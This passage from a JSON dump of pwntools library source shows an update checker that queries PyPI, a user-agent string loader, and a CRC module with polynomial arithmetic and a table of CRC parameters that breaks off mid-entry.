datetime.timedelta(days=value).total_seconds()\n        else:\n            log.warn(\"Unknown configuration option %r in section %r\" % (key, 'update'))\n\nregister_config('update', read_update_config)\n\ndef available_on_pypi(prerelease=current_version.is_prerelease):\n    \"\"\"Return True if an update is available on PyPI.\n\n    >>> available_on_pypi() # doctest: +ELLIPSIS\n    <Version('...')>\n    >>> available_on_pypi(prerelease=False).is_prerelease\n    False\n    \"\"\"\n    # Deferred import to save startup time\n    import requests\n\n    versions = getattr(available_on_pypi, 'cached', None)\n    if versions is None:\n        response = requests.get(\"https://pypi.org/simple/pwntools/\",\n                                headers={\"Accept\": \"application/vnd.pypi.simple.v1+json\"},\n                                timeout=5)\n        response.raise_for_status()\n        versions = response.json()[\"versions\"]\n        available_on_pypi.cached = versions\n\n    versions = map(packaging.version.Version, versions)\n\n    if not prerelease:\n        versions = filter(lambda v: not v.is_prerelease, versions)\n\n    return max(versions)\n\ndef cache_file():\n    \"\"\"Returns the path of the file used to cache update data, and ensures that it exists.\"\"\"\n    cache_dir = context.cache_dir\n\n    if not cache_dir:\n        return None\n\n    cache_file = os.path.join(cache_dir, 'update')\n\n    if not os.path.isdir(cache_dir):\n        os.makedirs(cache_dir)\n\n    if not os.path.exists(cache_file):\n        write(cache_file, '')\n\n    return cache_file\n\ndef last_check():\n    \"\"\"Return the date of the last check\"\"\"\n    cache = cache_file()\n    if cache:\n        return os.path.getmtime(cache_file())\n\n    # Fallback\n    return time.time()\n\ndef should_check():\n    \"\"\"Return True if we should check for an update\"\"\"\n    filename = cache_file()\n\n    if not filename:\n        return False\n\n    if disabled or read(filename).strip() == b'never':\n        return False\n\n    return time.time() > (last_check() + update_freq)\n\ndef perform_check(prerelease=current_version.is_prerelease):\n    \"\"\"Perform the update check, and report to the user.\n\n    Arguments:\n        prerelease(bool): Whether or not to include pre-release versions.\n\n    Returns:\n        A list of arguments to the update command.\n\n    >>> from packaging.version import Version\n    >>> pwnlib.update.current_version = Version(\"999.0.0\")\n    >>> print(perform_check())\n    None\n    >>> pwnlib.update.current_version = Version(\"0.0.0\")\n    >>> perform_check() # doctest: +ELLIPSIS\n    ['pip', 'install', '-U', ...]\n\n    >>> def bail(*a): raise Exception()\n    >>> pypi   = pwnlib.update.available_on_pypi\n\n    >>> perform_check(prerelease=False)\n    ['pip', 'install', '-U', 'pwntools']\n    >>> perform_check(prerelease=True)  # doctest: +ELLIPSIS\n    ['pip', 'install', '-U', 'pwntools...']\n    \"\"\"\n    pypi = current_version\n    try:\n        pypi = available_on_pypi(prerelease)\n    except Exception:\n        log.warning(\"An issue occurred while checking PyPI\")\n\n    best = max(pypi, current_version)\n    where = None\n    command = None\n\n    cache = cache_file()\n\n    if cache:\n        os.utime(cache, None)\n\n    if best == current_version:\n        log.info(\"You have the latest version of Pwntools (%s)\" % best)\n        return\n\n    command = [\n        'pip',\n        'install',\n        '-U'\n    ]\n\n    if best == pypi:\n        where = 'pypi'\n        pypi_package = package_name\n        if best.is_prerelease:\n            pypi_package += '==%s' % (best)\n        command += [pypi_package]\n\n    command_str = ' '.join(command)\n\n    log.info(\"A newer version of %s is available on %s (%s --> %s).\\n\" % (package_name, where, current_version, best) +\n             \"Update with: $ %s\" % command_str)\n\n    return command\n\ndef check_automatically():\n    xdg_config_home = os.environ.get('XDG_CONFIG_HOME') or \"~/.config\"\n\n    if should_check():\n        message  = [\"Checking for new versions of %s\" % package_name]\n        message += [\"To disable this functionality, set the contents of %s to 'never' (old way).\" % cache_file()]\n        message += [\"Or add the following lines to ~/.pwn.conf or %s/pwn.conf (or /etc/pwn.conf system-wide):\" % xdg_config_home]\n        message += [\"\"\"\\\n    [update]\n    interval=never\"\"\"]\n        log.info(\"\\n\".join(message))\n        perform_check()\n"
  },
  {
    "path": "pwnlib/useragents.py",
    "content": "\"\"\"\nDatabase of >22,000 user agent strings\n\"\"\"\n__all__ = ['getall', 'random']\n\nimport os\nimport random as randommod\n\n_cache = None\n\ndef _load():\n    global _cache\n    if _cache is None:\n        _cache = set()\n        with open(os.path.join(os.path.dirname(__file__),\n                               'data/useragents/useragents.txt'\n                               ), 'r') as fd:\n            for line in fd:\n                if line:\n                    _cache.add(line.strip())\n    return _cache\n\ndef getall():\n    \"\"\"getall() -> str set\n\n    Get all the user agents that we know about.\n\n    Arguments:\n        None\n\n    Returns:\n        A set of user agent strings.\n\n    Examples:\n\n        >>> 'libcurl-agent/1.0' in getall()\n        True\n        >>> 'wget' in getall()\n        True\n    \"\"\"\n    return _load().copy()\n\ndef random():\n    \"\"\"random() -> str\n\n    Get a random user agent string.\n\n    Arguments:\n        None\n\n    Returns:\n        A random user agent string selected from :func:`getall`.\n\n    >>> import random as randommod\n    >>> randommod.seed(1)\n    >>> random() # doctest: +SKIP\n    'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; FunWebProducts-MyTotalSearch; iebar)'\n    \"\"\"\n    return randommod.choice(list(_load()))\n"
  },
  {
    "path": "pwnlib/util/__init__.py",
    "content": "__all__ = [\n    'crc', 'cyclic', 'fiddling', 'hashes', 'iters',\n    'lists', 'misc', 'net', 'packing', 'proc', 'safeeval',\n    'web'\n]\n"
  },
  {
    "path": "pwnlib/util/crc/__init__.py",
    "content": "\"\"\"Module for calculating CRC-sums.\n\nContains all crc implementations know on the interwebz. For most implementations\nit contains only the core crc algorithm and not e.g. padding schemes.\n\nIt is horribly slow, as implements a naive algorithm working direclty on\nbit polynomials. This class is exposed as `BitPolynom`.\n\nThe current algorithm is super-linear and takes about 4 seconds to calculate\nthe crc32-sum of ``'A'*40000``.\n\nAn obvious optimization would be to actually generate some lookup-tables.\n\nThis doctest is to ensure that the known data are accurate:\n\n    >>> known = sys.modules['pwnlib.util.crc.known']\n    >>> known.all_crcs == known.generate()\n    True\n\"\"\"\nimport sys\nimport types\n\nfrom pwnlib.util import fiddling\nfrom pwnlib.util import packing\nfrom pwnlib.util import safeeval\nfrom pwnlib.util.crc import known\n\n\nclass BitPolynom(object):\n    \"\"\"Class for representing GF(2)[X], i.e. the field of polynomials over\n    GF(2).\n\n    In practice the polynomials are represented as numbers such that `x**n`\n    corresponds to `1 << n`. In this representation calculations are easy: Just\n    do everything as normal, but forget about everything the carries.\n\n    Addition becomes xor and multiplication becomes carry-less multiplication.\n\n    Examples:\n\n        >>> p1 = BitPolynom(\"x**3 + x + 1\")\n        >>> p1\n        BitPolynom('x**3 + x + 1')\n        >>> int(p1)\n        11\n        >>> p1 == BitPolynom(11)\n        True\n        >>> p2 = BitPolynom(\"x**2 + x + 1\")\n        >>> p1 + p2\n        BitPolynom('x**3 + x**2')\n        >>> p1 * p2\n        BitPolynom('x**5 + x**4 + 1')\n        >>> p1 // p2\n        BitPolynom('x + 1')\n        >>> p1 % p2\n        BitPolynom('x')\n        >>> d, r = divmod(p1, p2)\n        >>> d * p2 + r == p1\n        True\n        >>> BitPolynom(-1)\n        Traceback (most recent call last):\n            ...\n        ValueError: Polynomials cannot be negative: -1\n        >>> BitPolynom('y')\n        Traceback (most recent call last):\n            ...\n        ValueError: Not a valid polynomial: y\n    \"\"\"\n\n\n    def __init__(self, n):\n        if isinstance(n, (bytes, bytearray, str)):\n            from pwnlib.util.packing import _need_text\n            n = _need_text(n)\n            self.n = 0\n            x = BitPolynom(2)\n            try:\n                for p in n.split('+'):\n                    k = safeeval.values(p.strip(), {'x': x, 'X': x})\n                    assert isinstance(k, (BitPolynom, int))\n                    k = int(k)\n                    assert k >= 0\n                    self.n ^= k\n            except (ValueError, NameError, AssertionError):\n                raise ValueError(\"Not a valid polynomial: %s\" % n)\n        elif isinstance(n, int):\n            if n >= 0:\n                self.n = n\n            else:\n                raise ValueError(\"Polynomials cannot be negative: %d\" % n)\n        else:\n            raise TypeError(\"Polynomial must be called with a string or integer\")\n\n    def __int__(self):\n        return self.n\n\n    def __add__(self, other):\n        return BitPolynom(int(self) ^ int(other))\n\n    def __radd__(self, other):\n        return BitPolynom(int(self) ^ int(other))\n\n    def __sub__(self, other):\n        return BitPolynom(int(self) ^ int(other))\n\n    def __rsub__(self, other):\n        return BitPolynom(int(self) ^ int(other))\n\n    def __xor__(self, other):\n        return BitPolynom(int(self) ^ int(other))\n\n    def __rxor__(self, other):\n        return BitPolynom(int(self) ^ int(other))\n\n    def __or__(self, other):\n        return BitPolynom(int(self) | int(other))\n\n    def __ror__(self, other):\n        return BitPolynom(int(self) | int(other))\n\n    def __and__(self, other):\n        return BitPolynom(int(self) & int(other))\n\n    def __rand__(self, other):\n        return BitPolynom(int(self) & int(other))\n\n    def __mul__(self, other):\n        a, b = int(self), int(other)\n        if a > b:\n            a, b = b, a\n\n        res = 0\n        for n in range(a.bit_length()):\n            if a & (1 << n):\n                res ^= b << n\n        return BitPolynom(res)\n\n    def __rmul__(self, other):\n        return self * other\n\n    def __divmod__(self, other):\n        other = BitPolynom(int(other))\n\n        if other == 0:\n            raise ZeroDivisionError\n\n        resd = 0\n        resm = int(self)\n\n        for n in range(self.degree() - other.degree(), -1, -1):\n            if resm & (1 << (n + other.degree())):\n                resm ^= int(other) << n\n                resd ^= 1 << n\n        return (BitPolynom(resd), BitPolynom(resm))\n\n    def __rdivmod__(self, other):\n        return divmod(BitPolynom(int(other)), self)\n\n    def __div__(self, other):\n        return divmod(self, other)[0]\n    __floordiv__ = __div__\n\n    def __rdiv__(self, other):\n        return divmod(other, self)[0]\n    __rfloordiv__ = __rdiv__\n\n    __floordiv__ = __div__\n    __rfloordiv__ = __rdiv__\n\n    def __mod__(self, other):\n        return divmod(self, other)[1]\n\n    def __rmod__(self, other):\n        return divmod(other, self)[1]\n\n    def __eq__(self, other):\n        return int(self) == int(other)\n\n    def __hash__(self):\n        return int(self).__hash__()\n\n    def __cmp__(self, other):\n        return int(self).__cmp__(int(other))\n\n    def __lshift__(self, other):\n        return BitPolynom(int(self) << int(other))\n\n    def __rlshift__(self, other):\n        return BitPolynom(int(other) << int(self))\n\n    def __rshift__(self, other):\n        return BitPolynom(int(self) >> int(other))\n\n    def __rrshift__(self, other):\n        return BitPolynom(int(other) >> int(self))\n\n    def __pow__(self, other):\n        r = BitPolynom(1)\n        for _ in range(other):\n            r *= self\n        return r\n\n    def degree(self):\n        \"\"\"Returns the degree of the polynomial.\n\n        Examples:\n\n            >>> BitPolynom(0).degree()\n            0\n            >>> BitPolynom(1).degree()\n            0\n            >>> BitPolynom(2).degree()\n            1\n            >>> BitPolynom(7).degree()\n            2\n            >>> BitPolynom((1 << 10) - 1).degree()\n            9\n            >>> BitPolynom(1 << 10).degree()\n            10\n        \"\"\"\n        return max(0, int(self).bit_length()-1)\n\n    def __repr__(self):\n        if int(self) == 0:\n            return '0'\n\n        out = []\n        for n in range(self.degree(), 1, -1):\n            if int(self) & (1 << n):\n                out.append(\"x**%d\" % n)\n        if int(self) & 2:\n            out.append(\"x\")\n        if int(self) & 1:\n            out.append(\"1\")\n        return 'BitPolynom(%r)' % ' + '.join(out)\n\nclass Module(types.ModuleType):\n    def __init__(self):\n        super(Module, self).__init__(__name__)\n        self._cached_crcs = None\n        self.BitPolynom = BitPolynom\n        self.__dict__.update({\n            '__file__'    : __file__,\n            '__package__' : __package__,\n        })\n\n    def __getattr__(self, attr):\n        crcs = known.all_crcs\n\n        if attr == '__all__':\n            return ['BitPolynom', 'generic_crc', 'cksum', 'find_crc_function'] + sorted(crcs.keys())\n\n        info = crcs.get(attr, None)\n        if not info:\n            raise AttributeError(\"'module' object has no attribute %r\" % attr)\n\n        func = self._make_crc(info['name'], info['poly'], info['width'], info['init'], info['refin'], info['refout'], info['xorout'], info['check'], 'See also: ' + info['link'])\n\n        setattr(self, attr, func)\n\n        return func\n\n    def __dir__(self):\n        return self.__all__\n\n    @staticmethod\n    def generic_crc(data, polynom, width, init, refin, refout, xorout):\n        \"\"\"A generic CRC-sum function.\n\n        This is suitable to use with:\n        https://reveng.sourceforge.io/crc-catalogue/all.htm\n\n        The \"check\" value in the document is the CRC-sum of the string \"123456789\".\n\n        Arguments:\n            data(str):    The data to calculate the CRC-sum of. This should either be a string or a list of bits.\n            polynom(int): The polynomial to use.\n            init(int):    If the CRC-sum was calculated in hardware, then this would b\n                        the initial value of the checksum register.\n            refin(bool):  Should the input bytes be reflected?\n            refout(bool): Should the checksum be reflected?\n            xorout(int):  The value to xor the checksum with before outputting\n        \"\"\"\n\n        polynom = BitPolynom(int(polynom)) | (1 << width)\n        if polynom.degree() != width:\n            raise ValueError(\"Polynomial is too large for that width\")\n\n        init   &= (1 << width)-1\n        xorout &= (1 << width)-1\n\n        if isinstance(data, list):\n            # refin is not meaningful in this case\n            inlen = len(data)\n            p = BitPolynom(int(''.join('1' if v else '0' for v in data), 2))\n        elif isinstance(data, bytes):\n            inlen = len(data)*8\n            if refin:\n                data = fiddling.bitswap(data)\n            p = BitPolynom(packing.unpack(data, 'all', endian='big', sign=False))\n        else:\n            raise ValueError(\"Don't know how to crc %s()\" % type(data).__name__)\n        p = p << width\n        p ^= init << inlen\n        p  = p % polynom\n        res = p.n\n        if refout:\n            res = fiddling.bitswap_int(res, width)\n        res ^= xorout\n\n        return res\n\n    @staticmethod\n    def _make_crc(name, polynom, width, init, refin, refout, xorout, check, extra_doc = ''):\n        def inner(data):\n            return crc.generic_crc(data, polynom, width, init, refin, refout, xorout)\n        inner.func_name = 'crc_' + name\n        inner.__name__  = 'crc_' + name\n        inner.__qualname__  = 'crc_' + name\n\n        inner.__doc__   = \"\"\"%s(data) -> int\n\n        Calculates the %s checksum.\n\n        This is simply the :func:`generic_crc` with these frozen arguments:\n\n        * polynom = 0x%x\n        * width   = %d\n        * init    = 0x%x\n        * refin   = %s\n        * refout  = %s\n        * xorout  = 0x%x\n\n        %s\n\n        Arguments:\n            data(str): The data to checksum.\n\n        Example:\n\n            >>> print(%s(b'123456789'))\n            %d\n    \"\"\" % (name, name, polynom, width, init, refin, refout, xorout, extra_doc, name, check)\n\n        return inner\n\n    @staticmethod\n    def cksum(data):\n        \"\"\"cksum(data) -> int\n\n        Calculates the same checksum as returned by the UNIX-tool ``cksum``.\n\n        Arguments:\n            data(str): The data to checksum.\n\n        Example:\n\n            >>> print(cksum(b'123456789'))\n            930766865\n        \"\"\"\n\n        l = len(data)\n        data += packing.pack(l, 'all', endian='little', sign=False)\n        return crc.crc_32_cksum(data)\n\n    @staticmethod\n    def find_crc_function(data, checksum):\n        \"\"\"Finds all known CRC functions that hashes a piece of data into a specific\n        checksum. It does this by trying all known CRC functions one after the other.\n\n        Arguments:\n            data(str): Data for which the checksum is known.\n\n        Example:\n\n            >>> find_crc_function(b'test', 46197)\n            [<function crc_crc_16_dnp at ...>]\n        \"\"\"\n        candidates = []\n        for v in known.all_crcs.keys():\n            func = getattr(crc, v)\n            if func(data) == checksum:\n                candidates.append(func)\n        return candidates\n\n\ntether = sys.modules[__name__]\ncrc = sys.modules[__name__] = Module()\ncrc.__doc__ = tether.__doc__\n"
  },
  {
    "path": "pwnlib/util/crc/known.py",
    "content": "import os\nimport re\n\n\ndef generate():\n    \"\"\"Generates a dictionary of all the known CRC formats from:\n    https://reveng.sourceforge.io/crc-catalogue/all.htm\n\n    See pwnlib/data/crcsum.txt for more information.\n    \"\"\"\n\n    curdir, _ = os.path.split(__file__)\n    path = os.path.join(curdir, '..', '..', 'data', 'crcsums.txt')\n    with open(path) as fd:\n        data = fd.read()\n    out = {}\n\n    def fixup(s):\n        if s == 'true':\n            return True\n        elif s == 'false':\n            return False\n        elif s.startswith('\"'):\n            assert re.match('\"[^\"]+\"', s)\n            return s[1:-1]\n        elif s.startswith('0x'):\n            assert re.match('0x[0-9a-fA-F]+', s)\n            return int(s[2:], 16)\n        else:\n            assert re.match('[0-9]+', s)\n            return int(s, 10)\n\n    for l in data.strip().split('\\n'):\n        if not l or l[0] == '#':\n            continue\n\n        ref, l = l.split(' ', 1)\n\n        cur = {}\n        cur['link'] = 'https://reveng.sourceforge.io/crc-catalogue/all.htm#' + ref\n        for key in ['width', 'poly', 'init', 'refin', 'refout', 'xorout', 'check', 'name']:\n            cur[key] = fixup(re.findall(r'%s=(\\S+)' % key, l)[0])\n\n        cur['name'] = cur['name'].lower().replace('/', '_').replace('-', '_')\n        assert cur['name'] not in out\n        out[cur['name']] = cur\n\n    return out\n\n\nall_crcs = \\\n    {'crc_10_atm': {'check': 409,\n                    'init': 0,\n                    'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-10-atm',\n                    'name': 'crc_10_atm',\n                    'poly': 563,\n                    'refin': False,\n                    'refout': False,\n                    'width': 10,\n                    'xorout': 0},\n     'crc_10_cdma2000': {'check': 563,\n                         'init': 1023,\n                         'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-10-cdma2000',\n                         'name': 'crc_10_cdma2000',\n                         'poly': 985,\n                         'refin': False,\n                         'refout': False,\n                         'width': 10,\n                         'xorout': 0},\n     'crc_10_gsm': {'check': 298,\n                    'init': 0,\n                    'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-10-gsm',\n                    'name': 'crc_10_gsm',\n                    'poly': 373,\n                    'refin': False,\n                    'refout': False,\n                    'width': 10,\n                    'xorout': 1023},\n     'crc_11_flexray': {'check': 1443,\n                        'init': 26,\n                        'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-11-flexray',\n                        'name': 'crc_11_flexray',\n                        'poly': 901,\n                        'refin': False,\n                        'refout': False,\n                        'width': 11,\n                        'xorout': 0},\n     'crc_11_umts': {'check': 97,\n                     'init': 0,\n                     'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-11-umts',\n                     'name': 'crc_11_umts',\n                     'poly': 775,\n                     'refin': False,\n                     'refout': False,\n                     'width': 11,\n                     'xorout': 0},\n     'crc_12_cdma2000': {'check': 3405,\n                         'init': 4095,\n                         'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-12-cdma2000',\n                         'name': 'crc_12_cdma2000',\n                         'poly': 3859,\n                         'refin': False,\n                         'refout': False,\n                         'width': 12,\n                         'xorout': 0},\n     'crc_12_dect': {'check': 3931,\n                     'init': 0,\n                     'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-12-dect',\n                     'name': 'crc_12_dect',\n                     'poly': 2063,\n                     'refin': False,\n                     'refout': False,\n                     'width': 12,\n                     'xorout': 0},\n     'crc_12_gsm': {'check': 2868,\n                    'init': 0,\n                    'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-12-gsm',\n                    'name': 'crc_12_gsm',\n                    'poly': 3377,\n                    'refin': False,\n                    'refout': False,\n                    'width': 12,\n                    'xorout': 4095},\n     'crc_12_umts': {'check': 3503,\n                     'init': 0,\n                     'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-12-umts',\n                     'name': 'crc_12_umts',\n                     'poly': 2063,\n                     'refin': False,\n                     'refout': True,\n                     'width': 12,\n                     'xorout': 0},\n     'crc_13_bbc': {'check': 1274,\n                    'init': 0,\n                    'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-13-bbc',\n                    'name': 'crc_13_bbc',\n                    'poly': 7413,\n                    'refin': False,\n                    'refout': False,\n                    'width': 13,\n                    'xorout': 0},\n     'crc_14_darc': {'check': 2093,\n                     'init': 0,\n                     'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-14-darc',\n                     'name': 'crc_14_darc',\n                     'poly': 2053,\n                     'refin': True,\n                     'refout': True,\n                     'width': 14,\n                     'xorout': 0},\n     'crc_14_gsm': {'check': 12462,\n                    'init': 0,\n                    'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-14-gsm',\n                    'name': 'crc_14_gsm',\n                    'poly': 8237,\n                    'refin': False,\n                    'refout': False,\n                    'width': 14,\n                    'xorout': 16383},\n     'crc_15_can': {'check': 1438,\n                    'init': 0,\n                    'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-15-can',\n                    'name': 'crc_15_can',\n                    'poly': 17817,\n                    'refin': False,\n                    'refout': False,\n                    'width': 15,\n                    'xorout': 0},\n     'crc_15_mpt1327': {'check': 9574,\n                        'init': 0,\n                        'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-15-mpt1327',\n                        'name': 'crc_15_mpt1327',\n                        'poly': 26645,\n                        'refin': False,\n                        'refout': False,\n                        'width': 15,\n                        'xorout': 1},\n     'crc_16_arc': {'check': 47933,\n                    'init': 0,\n                    'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-16-arc',\n                    'name': 'crc_16_arc',\n                    'poly': 32773,\n                    'refin': True,\n                    'refout': True,\n                    'width': 16,\n                    'xorout': 0},\n     'crc_16_cdma2000': {'check': 19462,\n                         'init': 65535,\n                         'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-16-cdma2000',\n                         'name': 'crc_16_cdma2000',\n                         'poly': 51303,\n                         'refin': False,\n                         'refout': False,\n                         'width': 16,\n                         'xorout': 0},\n     'crc_16_cms': {'check': 44775,\n                    'init': 65535,\n                    'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-16-cms',\n                    'name': 'crc_16_cms',\n                    'poly': 32773,\n                    'refin': False,\n                    'refout': False,\n                    'width': 16,\n                    'xorout': 0},\n     'crc_16_dds_110': {'check': 40655,\n                        'init': 32781,\n                        'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-16-dds-110',\n                        'name': 'crc_16_dds_110',\n                        'poly': 32773,\n                        'refin': False,\n                        'refout': False,\n                        'width': 16,\n                        'xorout': 0},\n     'crc_16_dect_r': {'check': 126,\n                       'init': 0,\n                       'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-16-dect-r',\n                       'name': 'crc_16_dect_r',\n                       'poly': 1417,\n                       'refin': False,\n                       'refout': False,\n                       'width': 16,\n                       'xorout': 1},\n     'crc_16_dect_x': {'check': 127,\n                       'init': 0,\n                       'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-16-dect-x',\n                       'name': 'crc_16_dect_x',\n                       'poly': 1417,\n                       'refin': False,\n                       'refout': False,\n                       'width': 16,\n                       'xorout': 0},\n     'crc_16_dnp': {'check': 60034,\n                    'init': 0,\n                    'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-16-dnp',\n                    'name': 'crc_16_dnp',\n                    'poly': 15717,\n                    'refin': True,\n                    'refout': True,\n                    'width': 16,\n                    'xorout': 65535},\n     'crc_16_en_13757': {'check': 49847,\n                         'init': 0,\n                         'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-16-en-13757',\n                         'name': 'crc_16_en_13757',\n                         'poly': 15717,\n                         'refin': False,\n                         'refout': False,\n                         'width': 16,\n                         'xorout': 65535},\n     'crc_16_genibus': {'check': 54862,\n                        'init': 65535,\n                        'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-16-genibus',\n                        'name': 'crc_16_genibus',\n                        'poly': 4129,\n                        'refin': False,\n                        'refout': False,\n                        'width': 16,\n                        'xorout': 65535},\n     'crc_16_gsm': {'check': 52796,\n                    'init': 0,\n                    'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-16-gsm',\n                    'name': 'crc_16_gsm',\n                    'poly': 4129,\n                    'refin': False,\n                    'refout': False,\n                    'width': 16,\n                    'xorout': 65535},\n     'crc_16_ibm_3740': {'check': 10673,\n                         'init': 65535,\n                         'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-16-ibm-3740',\n                         'name': 'crc_16_ibm_3740',\n                         'poly': 4129,\n                         'refin': False,\n                         'refout': False,\n                         'width': 16,\n                         'xorout': 0},\n     'crc_16_ibm_sdlc': {'check': 36974,\n                         'init': 65535,\n                         'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-16-ibm-sdlc',\n                         'name': 'crc_16_ibm_sdlc',\n                         'poly': 4129,\n                         'refin': True,\n                         'refout': True,\n                         'width': 16,\n                         'xorout': 65535},\n     'crc_16_iso_iec_14443_3_a': {'check': 48901,\n                                  'init': 50886,\n                                  'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-16-iso-iec-14443-3-a',\n                                  'name': 'crc_16_iso_iec_14443_3_a',\n                                  'poly': 4129,\n                                  'refin': True,\n                                  'refout': True,\n                                  'width': 16,\n                                  'xorout': 0},\n     'crc_16_kermit': {'check': 8585,\n                       'init': 0,\n                       'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-16-kermit',\n                       'name': 'crc_16_kermit',\n                       'poly': 4129,\n                       'refin': True,\n                       'refout': True,\n                       'width': 16,\n                       'xorout': 0},\n     'crc_16_lj1200': {'check': 48628,\n                       'init': 0,\n                       'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-16-lj1200',\n                       'name': 'crc_16_lj1200',\n                       'poly': 28515,\n                       'refin': False,\n                       'refout': False,\n                       'width': 16,\n                       'xorout': 0},\n     'crc_16_m17': {'check': 30507,\n                    'init': 65535,\n                    'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-16-m17',\n                    'name': 'crc_16_m17',\n                    'poly': 22837,\n                    'refin': False,\n                    'refout': False,\n                    'width': 16,\n                    'xorout': 0},\n     'crc_16_maxim_dow': {'check': 17602,\n                          'init': 0,\n                          'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-16-maxim-dow',\n                          'name': 'crc_16_maxim_dow',\n                          'poly': 32773,\n                          'refin': True,\n                          'refout': True,\n                          'width': 16,\n                          'xorout': 65535},\n     'crc_16_mcrf4xx': {'check': 28561,\n                        'init': 65535,\n                        'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-16-mcrf4xx',\n                        'name': 'crc_16_mcrf4xx',\n                        'poly': 4129,\n                        'refin': True,\n                        'refout': True,\n                        'width': 16,\n                        'xorout': 0},\n     'crc_16_modbus': {'check': 19255,\n                       'init': 65535,\n                       'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-16-modbus',\n                       'name': 'crc_16_modbus',\n                       'poly': 32773,\n                       'refin': True,\n                       'refout': True,\n                       'width': 16,\n                       'xorout': 0},\n     'crc_16_nrsc_5': {'check': 41062,\n                       'init': 65535,\n                       'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-16-nrsc-5',\n                       'name': 'crc_16_nrsc_5',\n                       'poly': 2059,\n                       'refin': True,\n                       'refout': True,\n                       'width': 16,\n                       'xorout': 0},\n     'crc_16_opensafety_a': {'check': 23864,\n                             'init': 0,\n                             'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-16-opensafety-a',\n                             'name': 'crc_16_opensafety_a',\n                             'poly': 22837,\n                             'refin': False,\n                             'refout': False,\n                             'width': 16,\n                             'xorout': 0},\n     'crc_16_opensafety_b': {'check': 8446,\n                             'init': 0,\n                             'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-16-opensafety-b',\n                             'name': 'crc_16_opensafety_b',\n                             'poly': 30043,\n                             'refin': False,\n                             'refout': False,\n                             'width': 16,\n                             'xorout': 0},\n     'crc_16_profibus': {'check': 43033,\n                         'init': 65535,\n                         'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-16-profibus',\n                         'name': 'crc_16_profibus',\n                         'poly': 7631,\n                         'refin': False,\n                         'refout': False,\n                         'width': 16,\n                         'xorout': 65535},\n     'crc_16_riello': {'check': 25552,\n                       'init': 45738,\n                       'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-16-riello',\n                       'name': 'crc_16_riello',\n                       'poly': 4129,\n                       'refin': True,\n                       'refout': True,\n                       'width': 16,\n                       'xorout': 0},\n     'crc_16_spi_fujitsu': {'check': 58828,\n                            'init': 7439,\n                            'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-16-spi-fujitsu',\n                            'name': 'crc_16_spi_fujitsu',\n                            'poly': 4129,\n                            'refin': False,\n                            'refout': False,\n                            'width': 16,\n                            'xorout': 0},\n     'crc_16_t10_dif': {'check': 53467,\n                        'init': 0,\n                        'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-16-t10-dif',\n                        'name': 'crc_16_t10_dif',\n                        'poly': 35767,\n                        'refin': False,\n                        'refout': False,\n                        'width': 16,\n                        'xorout': 0},\n     'crc_16_teledisk': {'check': 4019,\n                         'init': 0,\n                         'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-16-teledisk',\n                         'name': 'crc_16_teledisk',\n                         'poly': 41111,\n                         'refin': False,\n                         'refout': False,\n                         'width': 16,\n                         'xorout': 0},\n     'crc_16_tms37157': {'check': 9905,\n                         'init': 35308,\n                         'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-16-tms37157',\n                         'name': 'crc_16_tms37157',\n                         'poly': 4129,\n                         'refin': True,\n                         'refout': True,\n                         'width': 16,\n                         'xorout': 0},\n     'crc_16_umts': {'check': 65256,\n                     'init': 0,\n                     'link': 'https://reveng.sourceforge.io/crc-catalogue/all.htm#crc.cat.crc-16-umts',\n                     'name': 'crc_16_umts',\n                     'poly': 32773,\n                     'refin': False,\n                     'refout': False,\n                     'width': 16,\n                     'xorout': 0},\n     